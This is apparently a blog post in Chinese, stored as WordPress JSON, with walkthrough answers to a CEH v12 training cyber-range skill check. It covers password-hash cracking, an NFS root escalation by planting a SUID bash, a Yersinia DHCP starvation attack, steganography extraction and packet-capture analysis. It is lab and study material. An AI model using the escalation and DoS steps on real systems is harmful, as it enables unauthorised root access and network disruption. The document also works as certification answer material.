{"id":93,"date":"2025-04-12T01:00:03","date_gmt":"2025-04-11T17:00:03","guid":{"rendered":"https:\/\/chengyunpu.com\/wordpress\/?p=93"},"modified":"2025-10-07T09:22:22","modified_gmt":"2025-10-07T01:22:22","slug":"ceh-v12-engage-part-ii","status":"publish","type":"post","link":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/","title":{"rendered":"CEH v12 Engage Part II"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\" id=\"Challenge-1\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-1\"><\/a><\/h3>\n\n\n\n<details class=\"wp-block-details is-layout-flow wp-block-details-is-layout-flow\"><summary>Scenario<\/summary>\n<p>You have been hired as a part of the Red Team at CEHORG, an IT and ITES organization that deals with advanced research and development in the field of information security. It has offices all over the country connected in real-time by its network infrastructure.<\/p>\n\n\n\n<p>Your organization is worried about rising cybersecurity incidents and has entrusted you with a comprehensive security audit of the complete infrastructure.<\/p>\n\n\n\n<p>CEHORG\u2019s internal network consists of several subnets housing various organizational units like any large organization. The front office is connected to a separate subnet that connects to the company\u2019s public-facing computers. The company has installed multiple kiosks to help customers understand their products and services. The front office also has Wi-Fi connectivity to cater to the users who carry their smartphones and laptops.<\/p>\n\n\n\n<p>The CEHORG\u2019s internal network is made up of Militarized and Demilitarized zones. As a security precaution, and by design, all the internal resource zones are configured with different subnet IPs. The militarized zone houses the application servers that provide application frameworks for various departments. The Demilitarized Zone contains public-facing systems of the organization, such as web and mail servers. The headquarter\u2019s network topology and protocols are replicated worldwide in all its satellite offices for easy communication with the headquarters.<\/p>\n\n\n\n<details class=\"wp-block-details is-layout-flow wp-block-details-is-layout-flow\"><summary>Description<\/summary>\n<p>CEHv12 Skill Check is divided into four parts. All four parts represent a single target organization as described in the scenario. The objective of these skill checks is to apply learning from CEH (Certified Ethical Hacker) modules in a real-life scenario to solve challenges you will face in red team assignments in your job roles. The skill check will help you practice the skills acquired in the class and convert them into proficiency.<\/p>\n\n\n\n<p>Part 2 of CEH Skill Check covers System Hacking, Malware Threats, Sniffing, Social Engineering, and Denial-of-Service modules. In this part, you must exploit vulnerabilities identified in the last part and use various network\/system\/human exploitation techniques to gain access to the target\u2019s systems. You have to perform lateral and vertical privilege escalations and install malicious apps and utilities to maintain access and clear logs to avoid detection. You will need to create and use malicious applications against the target and will also be required to analyze any malware discovered on any of the targets. You need to note all the information discovered in this part of the Skill Check and proceed to the subsequent phases of the ethical hacking cycle in the next part of the Skill Check.<\/p>\n\n\n\n<p>On the cyber range, you will have access to Ethical Hacker Workstations,* EH Workstation \u2013 1* and EH Workstation \u2013 2. EH Workstation \u2013 1 is a Parrot Security machine and EH Workstation \u2013 2 is a Windows 11 machine. You can switch to these machines from the Resources tab.<\/p>\n\n\n\n<p>The credentials to access EH Workstation \u2013 1 (Parrot Security) machine are as below:<\/p>\n\n\n\n<p>Username: attacker Password: toor<\/p>\n\n\n\n<p>The credentials to access EH Workstation \u2013 2 (Windows 11) are as below:<\/p>\n\n\n\n<p>Username: Admin Password: Pa$$w0rd<\/p>\n\n\n\n<p>The credentials to access OpenVAS on EH Workstation \u2013 1 (Parrot Security) machine are as below:<\/p>\n\n\n\n<p>Username: admin Password: password<\/p>\n\n\n\n<p>Note: You can use username.txt and password.txt available on the Desktop of the EH Workstation \u2013 1 (Parrot Security) machine for any credentials\/password cracking attempt.<\/p>\n<\/details>\n<\/details>\n\n\n\n<p>Challenge 1:<\/p>\n\n\n\n<p>You are assigned a task to crack the NTLM password hashes captured by the internal security team. The password hash has been stored in the Documents folder of the Parrot Security console machine. What is the password of user James? (Format: aaaaaa)<\/p>\n\n\n\n<p>\u7528john \u7206\u7834 john ~\/Documents\/hashex.txt &#8211;format=NT &#8211;wordlist ~\/Desktop\/Wordlist\/password.txt<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/SkB9S1q90.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-2\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-2\"><\/a>Challenge 2:<\/h3>\n\n\n\n<p>You are assigned a task to crack the NTLM password hashes captured by the internal security team. The password hash has been stored in the Documents folder of the Parrot Security console machine. What is the password of user Jones? (Format: NNNNNNNN)<\/p>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/HkjWIkqq0.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-3\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-3\"><\/a>Challenge 3:<\/h3>\n\n\n\n<p>You have been given a task to audit the passwords of a server present in CEHORG network. Find out the password of the user Adam and submit it. (Note: Use Administrator\/ CSCPa$$ when asked for credentials). (Format: aaaaaaaaN)<\/p>\n\n\n\n<p>\u9019\u6b21\u4f7f\u7528win 11 \u7684l0phtCrack&nbsp;\u2013&gt; Password Auditing Wizard&nbsp;\u2013&gt; next&nbsp;\u2013&gt; next&nbsp;\u2013&gt; A remote machine&nbsp;\u2013&gt; Host(10.10.10.25)&nbsp;\u2013&gt; Use Specifc User Credentials&nbsp;\u2013&gt; Username(Administrator),Password(CSCPa$$)&nbsp;\u2013&gt; next&nbsp;\u2013&gt; ~~~&nbsp;\u2013&gt; finish<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/HJz_iyqc0.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-4\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-4\"><\/a>Challenge 4:<\/h3>\n\n\n\n<p>You have got user-level access to the machine with IP 172.16.0.11. Your task is to escalate the privileges to that of the root user on the machine and read the content in the rootflag.txt file. (Note: all the flag files are located at the root, Desktop, Documents, or Downloads folder for the respective users\/machines). Note: use LinuxPass when asked for machine password. (Format: aNNaaa*a)<\/p>\n\n\n\n<p>\u9019\u984c\u8d85\u721b\u6c92\u7d66\u7528\u6236\u660e\u8ab0\u77e5\u9053\u662f\u5565\uff0c\u627e\u904d\u8cc7\u6599\u5f8c\u7528ssh ubuntu@172.16.0.11\u9023\u9032\u53bb\u5f8c\u627e\u4e86\u4e00\u4e0b\u662f\u8981\u7528nfs \u63d0\u6b0a\u7684\u610f\u601d(\u9806\u5e36\u4e00\u984c\u9019\u984c\u771f\u7684\u6c92\u5e36\u8166\u8a2d\u8a08\u76f4\u63a5\u7528sudo su\u5c31\u8b8a root \u4e86<\/p>\n\n\n\n<p>\u6b63\u898f\u89e3<br><strong>attacker<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">showmount -e 172.16.0.11\n\u67e5\u770b\u5171\u4eab\u8cc7\u6599\u593e\n\nmkdir \/tmp\/nfs\n\nsudo mount -t nfs 172.16.0.11:\/home \/tmp\/nfs\n\ncd \/tmp\/nfs\n\nsudo cp \/bin\/bash .\/\n\nsudo chmod +s bash\n<\/code><\/pre>\n\n\n\n<p><strong>victim<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">ssh ubuntu@172.16.0.11\n\ncd \/home\n\n.\/bash -p \nbash -p \u4fdd\u6301 SUID \u63d0\u6b0a\u3002\n\ncat \/rootflag.txt\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/SyjlA6Fj0.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-5\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-5\"><\/a>Challenge 5:<\/h3>\n\n\n\n<p>An employee in your organization is suspected of sending important information to an accomplice outside the organization. The incident response team has intercepted some files from the employee&#8217;s system that they believe have hidden information. You are asked to investigate a file named Confidential.txt and extract hidden information. Find out the information hidden in the file. Note: The Confidential.txt file is located at C:\\Users\\Admin\\Documents in EH Workstation \u2013 2 machine. (Format: Aaaaa\/AaaaaaaNNNNN)<\/p>\n\n\n\n<p>\u9019\u984c\u5f88\u660e\u986f\u5c31\u662f\u88absnow\u7528\u904e<br><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/r1iN4g95R.png\" alt=\"image\"><br>\u628aSNOW\u62c9\u5230\u684c\u9762\u5728\u684c\u9762\u6253\u958bcmd&nbsp;SNOW.EXE -C &#8220;C:\\Users\\Administrator\\Documents\\Confidential.txt&#8221;<br><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/HyJlwe950.png\" alt=\"image\"><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-6\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-6\"><\/a>Challenge 6:<\/h3>\n\n\n\n<p>The incident response team has intercepted an image file from a communication that is supposed to have just text. You are asked to investigate the file and check if it contains any hidden information. Find out the information hidden in the file. Note: The vacation.bmp file is located at C:\\Users\\Admin\\Documents in EH Workstation \u2013 2 machine. (Format: AAANNNNNNN)<\/p>\n\n\n\n<p>\u7528OpenStego<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/rJvLug550.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-7\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-7\"><\/a>Challenge 7:<\/h3>\n\n\n\n<p>A disgruntled employee in CEHORG has used the Covert_TCP utility to share a secret message with another user in the CEHORG network. Covert_TCP manipulates the TCP\/IP header of the data packets to send a file one byte at a time from any host to a destination. It can be used to hide the data inside IP header fields. The employee used the IP ID field to hide the message. The network capture file \u201cCapture.pcapng\u201d has been retained in the \u201cC:\\Users\\Administrator\\Documents\u201d directory of the \u201cEH Workstation \u2013 2\u201d machine. Analyze the session to get the message that was transmitted. (Format: AN<em>A<\/em>AN)<\/p>\n\n\n\n<p>\u984c\u76ee\u6709\u63d0\u5230Convert_tcp\uff0cwireshark&nbsp;\u2013&gt; Statistics&nbsp;\u2013&gt; Conversations&nbsp;\u2013&gt; TCP 16&nbsp;\u2013&gt; \u9078\u64c78888 9999 port \u53f3\u9375&nbsp;\u2013&gt; Apply as Filter&nbsp;\u2013&gt; A -&gt; B\uff0c\u4e4b\u5f8c\u5c31\u89c0\u5bdf\u4e0b\u9762\u6587\u5b57\u8b8a\u5316<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/S1krox9q0.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-8\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-8\"><\/a>Challenge 8:<\/h3>\n\n\n\n<p>You are a malware analyst working for CEHORG. During your assessment within your organisation&#8217;s network, you found a malware face.exe. The malware is extracted and placed at C:\\Users\\Admin\\Documents in the EH Workstation \u2013 2 machine. Analyze the malware and find out the File pos for KERNEL32.dll text. (Hint: exclude zeros.) (Format: AANN)<\/p>\n\n\n\n<p>\u9019\u88e1\u7528BinText\u6253\u958b\u770b\u5c0b\u627eKERNELL32.dll\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/ByWak0FiC.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-9\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-9\"><\/a>Challenge 9:<\/h3>\n\n\n\n<p>Analyze an ELF executable (Sample-ELF) file placed at C:\\Users\\Admin\\Documents in the EH Workstation \u2013 2 machines to determine the CPU Architecture it was built for. (Format: AAAAANN)<\/p>\n\n\n\n<p>\u662fELF\u6240\u4ee5\u76f4\u63a5\u7528linux \u6bd4\u8f03\u5feb\uff0c\u7528SMB\u9023\u7dda\u628a\u90a3\u500b\u6a94\u6848\u6293\u904e\u4f86\u7528<code>file<\/code>\u5373\u53ef\u5f97\u5230\u7b54\u6848<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/SJSdCxq9A.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-10\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-10\"><\/a>Challenge 10:<\/h3>\n\n\n\n<p>CEHORG has assigned you with analysing the snapshot of the operating system registry and perform the further steps as part of dynamic analysis and find out the whether the driver packages registry is changed. Give your response as Yes\/No. (Format: Aaa)<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-11\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-11\"><\/a>Challenge 11:<\/h3>\n\n\n\n<p>Perform windows service monitoring and find out the service type associated with display name &#8220;afunix&#8221;. (Format: aaaaaa)<\/p>\n\n\n\n<p>\u9019\u984c\u662f\u554fchat gpt\u7684(\u5c0dwindows \u771f\u7684\u4e0d\u719f\uff0c(Get-Service -Name &#8220;afunix&#8221;).ServiceType<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/rkQZUmccR.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-12\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-12\"><\/a>Challenge 12:<\/h3>\n\n\n\n<p>Use Yersinia on the \u201cEH Workstation \u2013 1\u201d (Parrot Security) machine to perform the DHCP starvation attack. Analyze the network traffic generated during the attack and find the Transaction ID of the DHCP Discover packets. (Format: NaNNNaNNNN)<\/p>\n\n\n\n<p>\u9019\u88e1\u7528yersinia \u6a21\u64ec\u4e00\u6b21DHCP starvation<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">sudo tcpdump -i eth0 -v \n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">yersinai -G\n\nLaunch attack --&gt; DHCP --&gt; sending DISCOVER packet --&gt; OK\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/H1DufRYjR.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-13\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-13\"><\/a>Challenge 13:<\/h3>\n\n\n\n<p>CEHORG suspects a possible sniffing attack on a machine in its network. The organization has retained the network traffic data for the session and stored it in the Documents folder in EH Workstation \u2013 2 (Windows 11) machine as sniffsession.pcap. You have been assigned a task to analyze and find out the protocol used for sniffing on its network. (Format: AAA)<\/p>\n\n\n\n<p>\u5927\u81f4\u770b\u4e00\u4e0b\u5c01\u5305\uff0cARP\u7684\u884c\u70ba\u6700\u5947\u602a\uff0c\u5217\u51fa\u4f86\u770b\uff0c\u6709\u5947\u602a\u7684\u4f86\u6e90ip\u3001\u5947\u602a\u7684\u8acb\u6c42<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/Hk8ZdZqc0.png\" alt=\"\u87a2\u5e55\u64f7\u53d6\u756b\u9762 2024-08-14 183230\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-14\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-14\"><\/a>Challenge 14:<\/h3>\n\n\n\n<p>As an ethical hacker, you are tasked to analyze the traffic capture file webtraffic.pcapng. Find out the packet&#8217;s id that uses ICMP protocol to communicate. Note: The webtraffic.pcapng file is located at C:\\Users\\Administrator\\Documents\\ in the Documents folder on EH Workstation \u2013 2 (Windows 11) machine. (Format: NaaaNN)<\/p>\n\n\n\n<p>filter\u4e0bicmp \u5728info\u6bb5\u5c31\u6709id \u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/B1emIZqq0.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-15\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-15\"><\/a>Challenge 15:<\/h3>\n\n\n\n<p>CEHORG has found that one of its web application&nbsp;<a href=\"http:\/\/movies.cehorg.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">movies.cehorg.com<\/a>&nbsp;running on its network is leaking credentials in plain text. You have been assigned a task of analysing the movies.pcap file and find out the leaked credentials. Note: The movies.pcapng file is located at C:\\Users\\Administrator\\Documents\\ in the Documents folder on EH Workstation \u2013 2 (Windows 11) machine. Make a note of the credentials obtained in this flag, it will be used in the Part 4 of CEH Skill Check. (Format: Aaaaa\/aaaaaaa)<\/p>\n\n\n\n<p>filter\u4e0bhttp.request.method==POST\uff0c\u56e0\u70ba\u8981\u627e\u7db2\u7ad9\u767b\u5165\u7684\u5e33\u5bc6<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/BJMa4-c5A.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-16\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-16\"><\/a>Challenge 16:<\/h3>\n\n\n\n<p>An attacker has created a custom UDP packet and sent it to one of the machines in the CEHORG. You have been given a task to study the &#8220;&#8221;CustomUDP.pcapng&#8221;&#8221; file and find the data size of the UDP packet (in bytes). Note: The CustomUDP.pcapng file is located at C:\\Users\\Administrator\\Documents\\ in the Documents folder on EH Workstation \u2013 2 (Windows 11) machine. (Format: NNN)<\/p>\n\n\n\n<p>filiter\u4e0budp \u5373\u53ef\u770b\u5230Data (600 bytes)<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/B1nnXb9cC.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-17\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-17\"><\/a>Challenge 17:<\/h3>\n\n\n\n<p>A denial-of-service attack has been launched on a target machine in the CEHORG network. A network session file &#8220;DoS.pcapng&#8221; has been captured and stored in the Documents folder of the EH Workstation &#8211; 2 machine. Find the IP address of the attacker&#8217;s machine. (Format: NNN.NNN.N.NN)<\/p>\n\n\n\n<p>\u67e5\u770bConversations\u5f88\u660e\u986f192.168.0.51\u5404\u500bport \u90fd\u53bb\u625310.10.1.11 80 port<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/r15Pxbq9A.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Challenge-18\"><a href=\"https:\/\/hackmd.io\/n61IqaJJSsaKJgv-0CU2dA?view#Challenge-18\"><\/a>Challenge 18:<\/h3>\n\n\n\n<p>CEHORG hosts a datacenter for its bussiness clients. While analyzing the network traffic it was observed that there was a huge surge of incoming traffic from multiple sources. You are given a task to analyze and study the DDoS.pcap file. The captured network session (DDoS.pcapng) is stored in the Documents folder of the EH Workstation -2 machine. Determine the number of machines that were used to initiate the attack. (Format: N)<\/p>\n\n\n\n<p>\u4e00\u6a23Converstations \u6253\u958b\uff0c\u767c\u73feDDOS\u53ea\u67093\u53f0<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/SJX_bWq9C.png\" alt=\"image\"\/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Challenge 1: You are [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[11],"tags":[],"class_list":["post-93","post","type-post","status-publish","format-standard","hentry","category-ceh-practical"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>CEH v12 Engage Part II - my article<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/\" \/>\n<meta property=\"og:locale\" content=\"zh_TW\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CEH v12 Engage Part II - my article\" \/>\n<meta property=\"og:description\" content=\"Challenge 1: You are [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/\" \/>\n<meta property=\"og:site_name\" content=\"my article\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-11T17:00:03+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-07T01:22:22+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hackmd.io\/_uploads\/SkB9S1q90.png\" \/>\n<meta name=\"author\" content=\"chengyunpu\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005:\" \/>\n\t<meta name=\"twitter:data1\" content=\"chengyunpu\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9810\u4f30\u95b1\u8b80\u6642\u9593\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 \u5206\u9418\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/\"},\"author\":{\"name\":\"chengyunpu\",\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411\"},\"headline\":\"CEH v12 Engage Part II\",\"datePublished\":\"2025-04-11T17:00:03+00:00\",\"dateModified\":\"2025-10-07T01:22:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/\"},\"wordCount\":1685,\"publisher\":{\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411\"},\"image\":{\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hackmd.io\/_uploads\/SkB9S1q90.png\",\"articleSection\":[\"CEH Practical\"],\"inLanguage\":\"zh-TW\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/\",\"url\":\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/\",\"name\":\"CEH v12 Engage Part II - my article\",\"isPartOf\":{\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hackmd.io\/_uploads\/SkB9S1q90.png\",\"datePublished\":\"2025-04-11T17:00:03+00:00\",\"dateModified\":\"2025-10-07T01:22:22+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#breadcrumb\"},\"inLanguage\":\"zh-TW\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-TW\",\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#primaryimage\",\"url\":\"https:\/\/hackmd.io\/_uploads\/SkB9S1q90.png\",\"contentUrl\":\"https:\/\/hackmd.io\/_uploads\/SkB9S1q90.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9801\",\"item\":\"https:\/\/chengyunpu.com\/wordpress\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CEH v12 Engage Part II\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/#website\",\"url\":\"https:\/\/chengyunpu.com\/wordpress\/\",\"name\":\"my article\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/chengyunpu.com\/wordpress\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-TW\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411\",\"name\":\"chengyunpu\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-TW\",\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g\",\"caption\":\"chengyunpu\"},\"logo\":{\"@id\":\"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/image\/\"},\"sameAs\":[\"http:\/\/chengyunpu.com\/wordpress\"],\"url\":\"https:\/\/chengyunpu.com\/wordpress\/author\/chengyunpu\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CEH v12 Engage Part II - my 